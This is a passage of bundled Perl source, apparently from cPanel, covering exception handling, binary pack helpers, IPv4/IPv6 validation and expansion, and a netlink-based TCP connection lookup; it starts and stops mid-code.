m/\A[A-Za-z0-9_]+(?:\:\:[A-Za-z0-9_]+)*\z/ ) { die "Invalid exception type: $exception_type"; } my $perl_class; if ( $exception_type eq __PACKAGE__ ) { $perl_class = $exception_type; } else { $perl_class = "${_EXCEPTION_MODULE_PREFIX}::$exception_type"; } _load_perl_module($perl_class) unless $perl_class->can('new'); if ( $args[0] && ref $args[0] eq 'ARRAY' && scalar @{ $args[0] } > 1 ) { $args[0] = { @{ $args[0] } }; } return $perl_class->new(@args); } sub create_raw { my ( $class, $msg, @extra_args ) = @_; _init(); my $msg_obj = 'Cpanel::ExceptionMessage::Raw'->new($msg); if ( $class =~ m<\A(?:\Q${_EXCEPTION_MODULE_PREFIX}::\E)?Collection\z> ) { die "Use create('Collection', ..) to create a Cpanel::Exception::Collection object."; } return create( $class, $msg_obj, @extra_args ); } sub _load_perl_module { my ($module) = @_; local ( $!, $@ ); if ( !defined $module ) { die __PACKAGE__->new( 'Cpanel::ExceptionMessage::Raw'->new("load_perl_module requires a module name.") ); } return 1 if Cpanel::LoadModule::Utils::module_is_loaded($module); my $module_name = $module; $module_name =~ s{\.pm$}{}; if ( !Cpanel::LoadModule::Utils::is_valid_module_name($module_name) ) { die __PACKAGE__->new( 'Cpanel::ExceptionMessage::Raw'->new("load_perl_module requires a valid module name: '$module_name'.") ); } { eval qq{use $module (); 1 } or die __PACKAGE__->new( 'Cpanel::ExceptionMessage::Raw'->new("load_perl_module cannot load '$module_name': $@") ) } return 1; } sub new { my ( $class, @args ) = @_; @args = grep { defined } @args; my $self = {}; bless $self, $class; if ( ref $args[-1] eq 'HASH' ) { $self->{'_metadata'} = pop @args; } if ( defined $self->{'_metadata'}->{'longmess'} ) { $self->{'_longmess'} = &{ $self->{'_metadata'}->{'longmess'} }($self) if $self->{'_metadata'}->{'longmess'}; } elsif ($_SUPPRESS_STACK_TRACES) { $self->{'_longmess'} = $_suppressed_msg; } else { if ( !$INC{'Carp.pm'} ) { _load_carp(); } $self->{'_longmess'} = scalar do { local $Carp::CarpInternal{'Cpanel::Exception'} = 1; local $Carp::CarpInternal{$class} = 1; 'Carp'->can('longmess')->(); }; } _init(); $self->{'_auxiliaries'} = []; if ( UNIVERSAL::isa( $args[0], 'Cpanel::ExceptionMessage' ) ) { $self->{'_message'} = shift @args; } else { my @mt_args; if ( @args && !ref $args[0] ) { @mt_args = ( shift @args ); if ( ref $args[0] eq 'ARRAY' ) { push @mt_args, @{ $args[0] }; } } else { $self->{'_orig_mt_args'} = $args[0]; my $phrase = $self->_default_phrase( $args[0] ); if ($phrase) { if ( ref $phrase ) { @mt_args = $phrase->to_list(); } else { $self->{'_message'} = Cpanel::ExceptionMessage::Raw->new($phrase); return $self; } } } if ( my @extras = grep { !ref } @args ) { die __PACKAGE__->new( 'Cpanel::ExceptionMessage::Raw'->new("Extra scalar(s) passed to $PACKAGE! (@extras)") ); } if ( !length $mt_args[0] ) { die __PACKAGE__->new( 'Cpanel::ExceptionMessage::Raw'->new("No args passed to $PACKAGE constructor!") ); } $self->{'_mt_args'} = \@mt_args; } return $self; } sub get_string { my ( $exc, $no_id_yn ) = @_; return get_string_no_id($exc) if $no_id_yn; return _get_string( $exc, 'to_string' ); } sub get_string_no_id { my ($exc) = @_; return _get_string( $exc, 'to_string_no_id' ); } sub _get_string { my ( $exc, $cp_exc_stringifier_name ) = @_; return $exc if !ref $exc; { local $@; my $ret = eval { $exc->$cp_exc_stringifier_name() }; return $ret if defined $ret && !$@ && !ref $ret; } if ( ref $exc eq 'HASH' && $exc->{'message'} ) { return $exc->{'message'}; } if ( $INC{'Cpanel/YAML.pm'} ) { local $@; my $ret = eval { 'Cpanel::YAML'->can('Dump')->($exc); }; return $ret if defined $ret && !$@; } if ( $INC{'Cpanel/JSON.pm'} ) { local $@; my $ret = eval { 'Cpanel::JSON'->can('Dump')->($exc); }; return $ret if defined $ret && !$@; } return $exc; } sub _create_id { srand(); return join( q<>, map { $ID_CHARS[ int rand( 0 + @ID_CHARS ) ]; } ( 1 .. $ID_LENGTH ), ); } sub get_stack_trace_suppressor { return Cpanel::Exception::_StackTraceSuppression->new(); } sub set_id { my ( $self, $new_id ) = @_; $self->{'_id'} = $new_id; return $self; } sub id { my ($self) = @_; return $self->{'_id'} ||= _create_id(); } sub set { my ( $self, $key ) = @_; $self->{'_metadata'}{$key} = $_[2]; if ( exists $self->{'_orig_mt_args'} ) { my $phrase = $self->_default_phrase( $self->{'_orig_mt_args'} ); if ($phrase) { if ( ref $phrase ) { $self->{'_mt_args'} = [ $phrase->to_list() ]; undef $self->{'_message'}; } else { $self->{'_message'} = Cpanel::ExceptionMessage::Raw->new($phrase); } } } return $self; } sub get { my ( $self, $key ) = @_; my $v = $self->{'_metadata'}{$key}; if ( my $reftype = ref $v ) { local $@; if ( $reftype eq 'HASH' ) { $v = { %{$v} }; # shallow copy } elsif ( $reftype eq 'ARRAY' ) { $v = [ @{$v} ]; # shallow copy } elsif ( $reftype eq 'SCALAR' ) { $v = \${$v}; # shallow copy } else { local ( $@, $! ); require Cpanel::ScalarUtil; if ( $reftype ne 'GLOB' && !Cpanel::ScalarUtil::blessed($v) ) { warn if !eval { _load_perl_module('Clone') if !$INC{'Clone.pm'}; $v = 'Clone'->can('clone')->($v); }; } } } return $v; } sub get_all_metadata { my $self = shift; my %metadata_copy; for my $key ( keys %{ $self->{'_metadata'} } ) { $metadata_copy{$key} = $self->get($key); } return \%metadata_copy; } my $loaded_LocaleString; sub _require_LocaleString { return $loaded_LocaleString ||= do { local $@; eval 'require Cpanel::LocaleString; 1;' or die $@; ## no critic qw(BuiltinFunctions::ProhibitStringyEval) - # PPI NO PARSE - load on demand 1; }; } my $loaded_ExceptionMessage_Locale; sub _require_ExceptionMessage_Locale { return $loaded_ExceptionMessage_Locale ||= do { local $@; eval 'require Cpanel::ExceptionMessage::Locale; 1;' or die $@; ## no critic qw(BuiltinFunctions::ProhibitStringyEval) - # PPI NO PARSE - load on demand 1; }; } sub _default_phrase { _require_LocaleString(); return 'Cpanel::LocaleString'->new( 'An unknown error in the “[_1]” package has occurred.', scalar ref $_[0] ); # PPI NO PARSE - loaded above } sub longmess { my ($self) = @_; return '' if $self->{'_longmess'} eq $_suppressed_msg; _load_cpanel_carp() if !$INC{'Cpanel/Carp.pm'}; return Cpanel::Carp::sanitize_longmess( $self->{'_longmess'} ); } sub to_string { my ($self) = @_; return _apply_id_prefix( $self->id(), $self->to_string_no_id() ); } sub to_string_no_id { my ($self) = @_; my $string = $self->to_locale_string_no_id(); if ( $self->_message()->get_language_tag() ne 'en' ) { my $en_string = $self->to_en_string_no_id(); $string .= "\n$en_string" if ( $en_string ne $string ); } return $string; } sub _apply_id_prefix { my ( $id, $msg ) = @_; return sprintf "(XID %s) %s", $id, $msg; } sub to_en_string { my ($self) = @_; return _apply_id_prefix( $self->id(), $self->to_en_string_no_id() ); } sub to_en_string_no_id { my ($self) = @_; return $self->_message()->to_en_string() . $self->_stringify_auxiliaries('to_en_string'); } sub to_locale_string { my ($self) = @_; return _apply_id_prefix( $self->id(), $self->to_locale_string_no_id() ); } sub to_locale_string_no_id { my ($self) = @_; return $self->_message()->to_locale_string() . $self->_stringify_auxiliaries('to_locale_string'); } sub add_auxiliary_exception { my ( $self, $aux ) = @_; return push @{ $self->{'_auxiliaries'} }, $aux; } sub get_auxiliary_exceptions { my ($self) = @_; die 'List context only!' if !wantarray; #Can’t use Cpanel::Context return @{ $self->{'_auxiliaries'} }; } sub __spew { my ($self) = @_; return $self->_spew(); } sub _spew { my ($self) = @_; return ref($self) . '/' . join "\n", $self->to_string() || '<no message>', $self->longmess() || (); } sub _stringify_auxiliaries { my ( $self, $method ) = @_; my @lines; if ( @{ $self->{'_auxiliaries'} } ) { local $@; _require_LocaleString(); my $intro = 'Cpanel::LocaleString'->new( 'The following additional [numerate,_1,error,errors] occurred:', 0 + @{ $self->{'_auxiliaries'} } ); # PPI NO PARSE - required above if ( $method eq 'to_locale_string' ) { push @lines, _locale()->makevar( $intro->to_list() ); } elsif ( $method eq 'to_en_string' ) { push @lines, _locale()->makethis_base( $intro->to_list() ); } else { die "Invalid method: $method"; } push @lines, map { UNIVERSAL::isa( $_, __PACKAGE__ ) ? $_->$method() : $_ } @{ $self->{'_auxiliaries'} }; } return join q<>, map { "\n$_" } @lines; } *TO_JSON = \&to_string; sub _locale { return $locale ||= do { local $@; eval 'require Cpanel::Locale; 1;' or die $@; 'Cpanel::Locale'->get_handle(); # hide from perlcc }; } sub _reset_locale { return undef $locale; } sub _load_carp { if ( !$INC{'Carp.pm'} ) { local $@; eval 'require Carp; 1;' or die $@; ## no critic qw(BuiltinFunctions::ProhibitStringyEval) -- hide from perlcc } return; } sub _load_cpanel_carp { if ( !$INC{'Cpanel/Carp.pm'} ) { local $@; eval 'require Cpanel::Carp; 1;' or die $@; ## no critic qw(BuiltinFunctions::ProhibitStringyEval) -- hide from perlcc } return; } sub _message { my ($self) = @_; return $self->{'_message'} if $self->{'_message'}; local $!; if ($Cpanel::Exception::LOCALIZE_STRINGS) { # the default _require_ExceptionMessage_Locale(); return ( $self->{'_message'} ||= 'Cpanel::ExceptionMessage::Locale'->new( @{ $self->{'_mt_args'} } ) ); # PPI NO PARSE - required above } return ( $self->{'_message'} ||= Cpanel::ExceptionMessage::Raw->new( Cpanel::ExceptionMessage::Raw::convert_localized_to_raw( @{ $self->{'_mt_args'} } ) ) ); } package Cpanel::Exception::_StackTraceSuppression; sub new { my ($class) = @_; $Cpanel::Exception::_SUPPRESS_STACK_TRACES++; return bless [], $class; } sub DESTROY { $Cpanel::Exception::_SUPPRESS_STACK_TRACES--; return; } 1; } # --- END Cpanel/Exception/CORE.pm { # --- BEGIN Cpanel/Pack.pm package Cpanel::Pack; use strict; sub new { my ( $class, $template_ar ) = @_; if ( @$template_ar % 2 ) { die "Cpanel::Pack::new detected an odd number of elements in hash assignment!"; } my $self = bless { 'template_str' => '', 'keys' => [], }, $class; my $ti = 0; while ( $ti < $#$template_ar ) { push @{ $self->{'keys'} }, $template_ar->[$ti]; $self->{'template_str'} .= $template_ar->[ 1 + $ti ]; $ti += 2; } return $self; } sub unpack_to_hashref { ## no critic (RequireArgUnpacking) my %result; @result{ @{ $_[0]->{'keys'} } } = unpack( $_[0]->{'template_str'}, $_[1] ); return \%result; } sub pack_from_hashref { my ( $self, $opts_ref ) = @_; no warnings 'uninitialized'; return pack( $self->{'template_str'}, @{$opts_ref}{ @{ $self->{'keys'} } } ); } sub sizeof { my ($self) = @_; return ( $self->{'sizeof'} ||= length pack( $self->{'template_str'}, () ) ); } sub malloc { my ($self) = @_; return pack( $self->{'template_str'} ); } 1; } # --- END Cpanel/Pack.pm { # --- BEGIN Cpanel/Pack/Template.pm package Cpanel::Pack::Template; use strict; use warnings; use constant PACK_TEMPLATE_INT => 'i'; use constant PACK_TEMPLATE_UNSIGNED_INT => 'i!'; use constant PACK_TEMPLATE_UNSIGNED_LONG => 'L!'; use constant PACK_TEMPLATE_U32 => 'L'; use constant U32_BYTES_LENGTH => 4; use constant PACK_TEMPLATE_U16 => 'S'; use constant U16_BYTES_LENGTH => 2; use constant PACK_TEMPLATE_U8 => 'C'; use constant U8_BYTES_LENGTH => 1; use constant PACK_TEMPLATE_BE16 => 'n'; use constant PACK_TEMPLATE_BE32 => 'N'; 1; } # --- END Cpanel/Pack/Template.pm { # --- BEGIN Cpanel/Validate/IP/v4.pm package Cpanel::Validate::IP::v4; use strict; use warnings; sub is_valid_ipv4 { my ($ip) = @_; return unless $ip; # False scalars are never an _[0]. my @segments = split /\./, $ip, -1; return unless scalar @segments == 4; my $octet_index; for my $octet_value (@segments) { return if !_valid_octet( $octet_value, ++$octet_index ); } return 1; } sub is_valid_cidr4 { my ($ip) = @_; return unless defined $ip && $ip; my ( $ip4, $mask ) = split /\//, $ip; return if !defined $mask || !length $mask || $mask =~ tr/0-9//c; return is_valid_ipv4($ip4) && 0 < $mask && $mask <= 32; } sub _valid_octet { my ( $octet_value, $octet_index ) = @_; return ( !length $octet_value || # $octet_value =~ tr/0-9//c || # $octet_value > 255 || # ( substr( $octet_value, 0, 1 ) == 0 && length($octet_value) > 1 ) || # Only dec values are permitted $octet_index == 1 && length($octet_value) && !$octet_value # First oct can't be zero. ) ? 0 : 1; } 1; } # --- END Cpanel/Validate/IP/v4.pm { # --- BEGIN Cpanel/Validate/IP.pm package Cpanel::Validate::IP; use strict; use warnings; # use Cpanel::Validate::IP::v4 (); sub is_valid_ipv6 { my ($ip) = @_; return unless defined $ip && $ip; if ( ( substr( $ip, 0, 1 ) eq ':' && substr( $ip, 1, 1 ) ne ':' ) || ( substr( $ip, -1, 1 ) eq ':' && substr( $ip, -2, 1 ) ne ':' ) ) { return; # Can't have single : on front or back } my @seg = split /:/, $ip, -1; # -1 to keep trailing empty fields shift @seg if $seg[0] eq ''; pop @seg if $seg[-1] eq ''; my $max = 8; if ( index( $seg[-1], '.' ) > -1 ) { return unless Cpanel::Validate::IP::v4::is_valid_ipv4( pop @seg ); $max -= 2; } my $cmp; for my $seg (@seg) { if ( !defined $seg || $seg eq '' ) { return if $cmp; ++$cmp; next; } return if $seg =~ tr/0-9a-fA-F//c || length $seg == 0 || length $seg > 4; } if ($cmp) { return ( @seg && @seg <= $max ) && 1; # true returned as 1 } return $max == @seg; } sub is_valid_ipv6_prefix { my ($ip) = @_; return unless $ip; my ( $ip6, $mask ) = split /\//, $ip; return unless defined $mask; return if !length $mask || $mask =~ tr/0-9//c; return is_valid_ipv6($ip6) && 0 < $mask && $mask <= 128; } sub is_valid_ip { return !defined $_[0] ? undef : index( $_[0], ':' ) > -1 ? is_valid_ipv6(@_) : Cpanel::Validate::IP::v4::is_valid_ipv4(@_); } sub ip_version { return 4 if Cpanel::Validate::IP::v4::is_valid_ipv4(@_); return 6 if is_valid_ipv6(@_); return; } sub is_valid_ip_cidr_or_prefix { return unless defined $_[0]; if ( $_[0] =~ tr/:// ) { return $_[0] =~ tr{/}{} ? is_valid_ipv6_prefix(@_) : is_valid_ipv6(@_); } return $_[0] =~ tr{/}{} ? Cpanel::Validate::IP::v4::is_valid_cidr4(@_) : Cpanel::Validate::IP::v4::is_valid_ipv4(@_); } sub is_valid_ip_range_cidr_or_prefix { my $str = shift; return 0 if !$str; return 1 if is_valid_ip_cidr_or_prefix($str); my @pieces = split /-/, $str, 2; return 1 if 2 == grep { defined($_) } map { Cpanel::Validate::IP::v4::is_valid_ipv4($_) } @pieces; return 1 if 2 == grep { defined($_) } map { is_valid_ipv6($_) } @pieces; return 0; } 1; } # --- END Cpanel/Validate/IP.pm { # --- BEGIN Cpanel/Validate/IP/Expand.pm package Cpanel::Validate::IP::Expand; use strict; use warnings; # use Cpanel::Validate::IP (); # use Cpanel::Validate::IP::v4 (); sub normalize_ipv4 { return unless Cpanel::Validate::IP::v4::is_valid_ipv4( $_[0] ); return join '.', map { $_ + 0 } split /\./, $_[0]; } sub expand_ipv6 { my $ip = shift; return unless Cpanel::Validate::IP::is_valid_ipv6($ip); return $ip if length $ip == 39; # already expanded my @seg = split /:/, $ip, -1; $seg[0] = '0000' if !length $seg[0]; $seg[-1] = '0000' if !length $seg[-1]; if ( $seg[-1] =~ tr{.}{} && Cpanel::Validate::IP::v4::is_valid_ipv4( $seg[-1] ) ) { my @ipv4 = split /\./, normalize_ipv4( pop @seg ); push @seg, sprintf( '%04x', ( $ipv4[0] << 8 ) + $ipv4[1] ), sprintf( '%04x', ( $ipv4[2] << 8 ) + $ipv4[3] ); } my @exp; for my $seg (@seg) { if ( !length $seg ) { my $count = scalar(@seg) - scalar(@exp); while ( $count + scalar(@exp) <= 8 ) { push @exp, '0000'; } } else { push @exp, sprintf( '%04x', hex $seg ); } } return join ':', @exp; } sub normalize_ipv6 { my $ip = shift; return unless $ip = expand_ipv6($ip); $ip = lc($ip); $ip =~ s/:(0+:){2,}/::/; # flatten multiple groups of 0's to :: # $ip =~ s/(:0+){2,}$/::/; # flatten multiple groups of 0's to :: # $ip =~ s/^0+([1-9a-f])/$1/; # flatten the first segment's leading 0's to a single 0 # $ip =~ s/:0+([1-9a-f])/:$1/g; # flatten each segment, after the first, leading 0's to a single 0 # $ip =~ s/:0+(:)/:0$1/g; # flatten any segments that are just 0's to a single 0 # $ip =~ s/:0+$/:0/g; # flatten the end segment if it's just 0's to a single 0 # $ip =~ s/^0+::/::/; # remove single 0 at the beginning # $ip =~ s/::0+$/::/; # remote single 0 at the end # return $ip; } sub normalize_ip { return !defined $_[0] ? undef : index( $_[0], ':' ) > -1 ? normalize_ipv6( $_[0] ) : normalize_ipv4( $_[0] ); } sub expand_ip { return !defined $_[0] ? undef : index( $_[0], ':' ) > -1 ? expand_ipv6( $_[0] ) : normalize_ipv4( $_[0] ); } 1; } # --- END Cpanel/Validate/IP/Expand.pm { # --- BEGIN Cpanel/IP/Expand.pm package Cpanel::IP::Expand; use strict; use warnings; # use Cpanel::Validate::IP::v4 (); # use Cpanel::Validate::IP::Expand (); sub expand_ip { my ( $ip, $version ) = @_; $ip =~ tr{ \r\n\t}{}d if defined $ip; if ( defined $version && $version eq 6 && Cpanel::Validate::IP::v4::is_valid_ipv4($ip) ) { my @ipv4 = map { $_ + 0 } split /\./, $ip; return "0000:0000:0000:0000:0000:ffff:" . sprintf( '%04x', ( $ipv4[0] << 8 ) + $ipv4[1] ) . ':' . sprintf( '%04x', ( $ipv4[2] << 8 ) + $ipv4[3] ); } my $expanded = Cpanel::Validate::IP::Expand::expand_ip($ip); return $expanded if $expanded; if ( defined $version && $version eq 6 || $ip =~ m/:/ ) { return '0000:0000:0000:0000:0000:0000:0000:0000'; } return '0.0.0.0'; } sub ip2binary_string { my $ip = shift || ''; if ( $ip =~ tr/:// ) { $ip = expand_ip( $ip, 6 ); $ip =~ tr<:><>d; return unpack( 'B128', pack( 'H32', $ip ) ); } return unpack( 'B32', pack( 'C4C4C4C4', split( /\./, $ip ) ) ); } sub first_last_ip_in_range { my ($range) = @_; my ( $range_firstip, $mask ) = split( m{/}, $range ); if ( !length $mask ) { die "Invalid input ($range) -- must be CIDR!"; } my $mask_offset = 0; if ( $range_firstip !~ tr/:// ) { # match as if it were an embedded ipv4 in ipv6 $range_firstip = expand_ip( $range_firstip, 6 ); $mask_offset = ( 128 - 32 ); # If we convert the range from ipv4 to ipv6 we need to move the mask } my $size = 128; my $range_firstip_binary_string = ip2binary_string($range_firstip); my $range_lastip_binary_string = substr( $range_firstip_binary_string, 0, $mask + $mask_offset ) . '1' x ( $size - $mask - $mask_offset ); return ( $range_firstip_binary_string, $range_lastip_binary_string ); } 1; } # --- END Cpanel/IP/Expand.pm { # --- BEGIN Cpanel/Linux/Netlink.pm package Cpanel::Linux::Netlink; use strict; use warnings; use constant DEBUG => 0; # use Cpanel::Exception (); # use Cpanel::Pack (); # use Cpanel::Pack::Template (); my $NETLINK_READ_SIZE = 262144; # Maximum size of netlink message use constant PAGE_SIZE => 0x400; use constant READ_SIZE => 8 * PAGE_SIZE; our $PF_NETLINK = 16; our $AF_INET = 2; our $AF_INET6 = 10; our $NLMSG_NOOP = 0x1; our $NLMSG_ERROR = 0x2; our $NLMSG_DONE = 0x3; our $NLMSG_OVERRUN = 0x4; our $NETLINK_INET_DIAG_26_KERNEL = 0; our $NETLINK_INET_DIAG = 4; our $NLM_F_REQUEST = 1; our $NLM_F_MULTI = 2; # /* Multipart message, terminated by NLMSG_DONE */ our $NLM_F_ROOT = 0x100; our $NLM_F_MATCH = 0x200; # in queries, return all matches our $NLM_F_EXCL = 0x200; # in commands, don't alter if it exists our $NLM_F_CREATE = 0x400; # in commands, create if it does not exist our $NLM_F_ACK = 4; our $SOCK_DGRAM = 2; our $TCPDIAG_GETSOCK = 18; our $INET_DIAG_NOCOOKIE = 0xFFFFFFFF; use constant { PACK_TEMPLATE_U16 => Cpanel::Pack::Template::PACK_TEMPLATE_U16, U16_BYTES_LENGTH => Cpanel::Pack::Template::U16_BYTES_LENGTH, PACK_TEMPLATE_U32 => Cpanel::Pack::Template::PACK_TEMPLATE_U32, U32_BYTES_LENGTH => Cpanel::Pack::Template::U32_BYTES_LENGTH, }; my $NLMSG_HEADER_PACK_OBJ; my $NLMSG_HEADER_PACK_OBJ_SIZE; our @NLMSG_HEADER_TEMPLATE; BEGIN { @NLMSG_HEADER_TEMPLATE = ( 'nlmsg_length' => PACK_TEMPLATE_U32(), #__u32 nlmsg_len; /* Length of message including header. */ 'nlmsg_type' => PACK_TEMPLATE_U16(), #__u16 nlmsg_type; /* Type of message content. */ 'nlmsg_flags' => PACK_TEMPLATE_U16(), #__u16 nlmsg_flags; /* Additional flags. */ 'nlmsg_seq' => PACK_TEMPLATE_U32(), #__u32 nlmsg_seq; /* Sequence number. */ 'nlmsg_pid' => PACK_TEMPLATE_U32(), #__u32 nlmsg_pid; /* Sender port ID. */ ); } my @NETLINK_XACTION_REQUIRED = ( 'message', #hashref, to be sent via “send_pack_obj” 'send_pack_obj', #Cpanel::Pack instance 'recv_pack_obj', #Cpanel::Pack instance 'sock', #Perl socket ); my %_u16_cache; my %_u32_cache; sub netlink_transaction { my (%OPTS) = @_; foreach (@NETLINK_XACTION_REQUIRED) { die "$_ is required for netlink_transaction" if !$OPTS{$_}; } my ( $message_ref, $send_pack_obj, $recv_pack_obj, $sock, $parser, $payload_parser, $header_parms_ar ) = @OPTS{ @NETLINK_XACTION_REQUIRED, 'parser', 'payload_parser', 'header' }; my $packed_nlmsg = _pack_nlmsg_with_header( $send_pack_obj, $message_ref, $header_parms_ar ); if (DEBUG) { require Data::Dumper; print STDERR "[request]:" . Data::Dumper::Dumper($message_ref); } printf STDERR "Send %v02x\n", $packed_nlmsg if DEBUG; send( $sock, $packed_nlmsg, 0 ) or die "send: $!"; my $message_hr; my $packed_response = ''; my $header_pack_size = $NLMSG_HEADER_PACK_OBJ->sizeof(); my $recv_pack_size = $recv_pack_obj->sizeof(); my $msgcount = 0; my ( $msg, $u32, $u16, $nlmsg_length, $nlmsg_type, $nlmsg_flags ); READ_LOOP: while ( !_nlmsg_type_indicates_finished_reading($message_hr) ) { sysread( $sock, $packed_response, $NETLINK_READ_SIZE, length $packed_response ) or die "sysread: $!"; PARSE_LOOP: while (1) { $msg = substr( $packed_response, 0, $header_pack_size, q<> ); $u32 = substr( $msg, 0, U32_BYTES_LENGTH, '' ); $nlmsg_length = $_u32_cache{$u32} //= unpack( PACK_TEMPLATE_U32, $u32 ); $u16 = substr( $msg, 0, U16_BYTES_LENGTH, '' ); $nlmsg_type = $_u16_cache{$u16} //= unpack( PACK_TEMPLATE_U16, $u16 ); $u16 = substr( $msg, 0, U16_BYTES_LENGTH ); $nlmsg_flags = $_u16_cache{$u16} //= unpack( PACK_TEMPLATE_U16, $u16 ); last PARSE_LOOP if !$nlmsg_length || length $packed_response < $nlmsg_length - $NLMSG_HEADER_PACK_OBJ_SIZE; print STDERR "Received message, total size: [$nlmsg_length]\n" if DEBUG; if ( $nlmsg_type == $NLMSG_ERROR ) { require Data::Dumper; my ( $errno, $msg ) = unpack 'i a*', $packed_response; die Cpanel::Exception::create( 'Netlink', [ error => do { local $! = -$errno }, message => $msg ] ); } if ( $recv_pack_size <= length $packed_response ) { my $main_msg = substr( $packed_response, 0, $recv_pack_size, '' ); $message_hr = $recv_pack_obj->unpack_to_hashref($main_msg); if (DEBUG) { require Data::Dumper; printf STDERR "Received %v02x\n", $main_msg; print STDERR "[response]:" . Data::Dumper::Dumper($message_hr); } my $payload = substr( $packed_response, 0, $nlmsg_length - $NLMSG_HEADER_PACK_OBJ_SIZE - $recv_pack_size, q<>, ); if ( $payload_parser && length $payload ) { printf STDERR "payload: Received [%v02x]\n", $payload if DEBUG; $payload_parser->( $msgcount, $message_hr, $payload ); } } last READ_LOOP if _nlmsg_type_flags_indicates_finished_reading( $nlmsg_type, $nlmsg_flags ); $msgcount++; } } $parser->( $msgcount, $message_hr ) if $parser && $nlmsg_type; return 1; } our @INET_DIAG_SOCKID_TEMPLATE = ( 'idiag_sport' => Cpanel::Pack::Template::PACK_TEMPLATE_BE16, #__be16 idiag_sport; 'idiag_dport' => Cpanel::Pack::Template::PACK_TEMPLATE_BE16, #__be16 idiag_dport; 'idiag_src_0' => Cpanel::Pack::Template::PACK_TEMPLATE_BE32, #__be32 idiag_src[0]; 'idiag_src_1' => Cpanel::Pack::Template::PACK_TEMPLATE_BE32, #__be32 idiag_src[1]; 'idiag_src_2' => Cpanel::Pack::Template::PACK_TEMPLATE_BE32, #__be32 idiag_src[2]; 'idiag_src_3' => Cpanel::Pack::Template::PACK_TEMPLATE_BE32, #__be32 idiag_src[3]; 'idiag_dst_0' => Cpanel::Pack::Template::PACK_TEMPLATE_BE32, #__be32 idiag_dst[0]; 'idiag_dst_1' => Cpanel::Pack::Template::PACK_TEMPLATE_BE32, #__be32 idiag_dst[1]; 'idiag_dst_2' => Cpanel::Pack::Template::PACK_TEMPLATE_BE32, #__be32 idiag_dst[2]; 'idiag_dst_3' => Cpanel::Pack::Template::PACK_TEMPLATE_BE32, #__be32 idiag_dst[3]; 'idiag_if' => Cpanel::Pack::Template::PACK_TEMPLATE_U32, #__u32 idiag_if; 'idiag_cookie_0' => Cpanel::Pack::Template::PACK_TEMPLATE_U32, #__u32 idiag_cookie[0]; 'idiag_cookie_1' => Cpanel::Pack::Template::PACK_TEMPLATE_U32, #__u32 idiag_cookie[1]; ); my $INET_DIAG_MSG_PACK_OBJ; our @INET_DIAG_MSG_TEMPLATE = ( 'idiag_family' => Cpanel::Pack::Template::PACK_TEMPLATE_U8, # __u8 idiag_family; /* Family of addresses. */ 'idiag_state' => Cpanel::Pack::Template::PACK_TEMPLATE_U8, # __u8 idiag_state; 'idiag_timer' => Cpanel::Pack::Template::PACK_TEMPLATE_U8, # __u8 idiag_timer; 'idiag_retrans' => Cpanel::Pack::Template::PACK_TEMPLATE_U8, # __u8 idiag_retrans; @INET_DIAG_SOCKID_TEMPLATE, # inet_diag_sockid 'idiag_expires' => Cpanel::Pack::Template::PACK_TEMPLATE_U32, #__u32 idiag_expires; 'idiag_rqueue' => Cpanel::Pack::Template::PACK_TEMPLATE_U32, #__u32 idiag_rqueue; 'idiag_wqueue' => Cpanel::Pack::Template::PACK_TEMPLATE_U32, #__u32 idiag_wqueue; 'idiag_uid' => Cpanel::Pack::Template::PACK_TEMPLATE_U32, #__u32 idiag_uid; 'idiag_inode' => Cpanel::Pack::Template::PACK_TEMPLATE_U32 #__u32 idiag_inode; ); my $INET_DIAG_REQ_PACK_OBJ; our @INET_DIAG_REQ_TEMPLATE = ( 'idiag_family' => Cpanel::Pack::Template::PACK_TEMPLATE_U8, # __u8 idiag_family; /* Family of addresses. */ 'idiag_src_len' => Cpanel::Pack::Template::PACK_TEMPLATE_U8, # __u8 idiag_src_len; 'idiag_dst_len' => Cpanel::Pack::Template::PACK_TEMPLATE_U8, # __u8 idiag_dst_len; 'idiag_ext' => Cpanel::Pack::Template::PACK_TEMPLATE_U8, # __u8 idiag_ext; /* Query extended information */ @INET_DIAG_SOCKID_TEMPLATE, #inet_diag_sockid 'idiag_states' => Cpanel::Pack::Template::PACK_TEMPLATE_U32, #__u32 idiag_states; /* States to dump */ 'idiag_dbs' => Cpanel::Pack::Template::PACK_TEMPLATE_U32 #__u32 idiag_dbs; /* Tables to dump (NI) */ ); sub connection_lookup { my ( $source_address, $source_port, $dest_address, $dest_port ) = @_; die "A source port is required." if !defined $source_port; die "A destination port is required." if !defined $dest_port; my ( $idiag_dst_0, $idiag_dst_1, $idiag_dst_2, $idiag_dst_3 ); my ( $idiag_src_0, $idiag_src_1, $idiag_src_2, $idiag_src_3 ); my ($idiag_family); if ( $dest_address =~ tr/:// ) { require Cpanel::IP::Expand; # hide from exim but not perlcc - not eval quoted ( $idiag_dst_0, $idiag_dst_1, $idiag_dst_2, $idiag_dst_3 ) = unpack( 'N4', pack( 'n8', split /:/, Cpanel::IP::Expand::expand_ip($dest_address) ) ); ( $idiag_src_0, $idiag_src_1, $idiag_src_2, $idiag_src_3 ) = unpack( 'N4', pack( 'n8', split /:/, Cpanel::IP::Expand::expand_ip($source_address) ) ); $idiag_family = $AF_INET6; } else { my $u32_dest_address = unpack( 'N', pack( 'C4', split( /\D/, $dest_address, 4 ) ) ); my $u32_source_address = unpack( 'N', pack( 'C4', split( /\D/, $source_address, 4 ) ) ); $idiag_src_0 = $u32_source_address; $idiag_dst_0 = $u32_dest_address; $idiag_family = $AF_INET; } my $sock; socket( $sock, $PF_NETLINK, $SOCK_DGRAM, $NETLINK_INET_DIAG ) or die "socket: $!"; $INET_DIAG_REQ_PACK_OBJ ||= Cpanel::Pack->new( \@INET_DIAG_REQ_TEMPLATE ); $INET_DIAG_MSG_PACK_OBJ ||= Cpanel::Pack->new( \@INET_DIAG_MSG_TEMPLATE ); my %RESPONSE; netlink_transaction( 'message' => { 'idiag_family' => $idiag_family, 'idiag_dst_0' => $idiag_dst_0, 'idiag_dst_1' => $idiag_dst_1, 'idiag_dst_2' => $idiag_dst_2, 'idiag_dst_3' => $idiag_dst_3, 'idiag_dport' => $dest_port, 'idiag_src_0' => $idiag_src_0, 'idiag_src_1' => $idiag_src_1, 'idiag_src_2' => $idiag_src_2, 'idiag_src_3' => $idiag_src_3, 'idiag_sport' => $source_port, 'idiag_cookie_0' => $INET_DIAG_NOCOOKIE, 'idiag_cookie_1' => $INET_DIAG_NOCOOKIE, }, 'sock' => $sock, 'send_pack_obj' => $INET_DIAG_REQ_PACK_OBJ, 'recv_pack_obj' => $INET_DIAG_MSG_PACK_OBJ, 'parser' => sub { my ( undef, $response_ref ) = @_; %RESPONSE = %$response_ref if ( $response_ref && 'HASH' eq ref $response_ref ); } ); return 